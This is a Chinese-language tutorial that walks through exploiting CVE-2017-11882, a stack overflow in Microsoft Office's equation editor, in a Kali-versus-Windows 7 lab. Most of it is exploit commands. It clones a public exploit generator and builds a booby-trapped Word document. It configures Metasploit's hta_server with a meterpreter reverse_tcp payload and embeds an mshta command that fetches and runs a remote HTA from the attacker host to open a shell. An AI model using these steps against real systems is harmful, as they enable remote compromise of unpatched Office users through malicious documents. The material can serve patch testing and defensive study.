漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本

事件属性名 作用
漏洞ID CVE-2017-11882
漏洞名称 Microsoft Office数学公式编辑器内存损坏漏洞
漏洞类型 远程代码执行
威胁类型 栈溢出
影响版本 Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016

环境介绍

攻击:kali IP:192.168.31.14
受害者:windows7 IP:192.168.31.55 Microsoft Office2016版本
漏洞文件生成https://github.com/Ridter/CVE-2017-11882

EXP

下载地址https://github.com/Ridter/CVE-2017-11882
命令

1
git clone https://github.com/Ridter/CVE-2017-11882

生成漏洞文件

进入目录cd CVE-2017-11882
下面生成的文件受害者就会执行是计算器

1
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

执行命令启动计算器

可以看见生成了一个test.doc的文件

在目标windows7打开就启动计算器

EXP 生成

hta 是 HTML 应用程序,大多数的 Windows 操作系统都支持 hta 文件执行,利用 mshta.exe 解析 .hta文件执行,这里的 .hta 文件可以是本地的也可以是可访问的远程主机上的

模块:use exploit/windows/misc/hta_server
木马模块:set payload windows/meterpreter/reverse_tcp

  • 应为他默认就是用的windows/meterpreter/reverse_tcp模块

指定web地址:set SRVHOST kali的IP
指定web端口:set SRVPORT 指定的端口
指定地址:set RHOST kali的IP
指定监听端口:set LPORT 监听端口
运行:exploit -j #-j是隐藏连接的意思
运行结果
可以看见地址是http://192.168.31.14:8090/bblVmviVL2gVIES.hta

EXP 生成
下面地址就添加上面打开的web地址

1
python Command109b_CVE-2017-11882.py -c "mshta http://192.168.31.14:8090/bblVmviVL2gVIES.hta" -o test.doc

他会生成一个test.doc

拿到win7系统打开test.doc一个shell就得到了


查看shellid

1
sessions -l


进入shell

1
sessions -i 1

进入shell后就可以你想操作的了

参考地址

国光
https://www.freebuf.com/articles/web/183551.html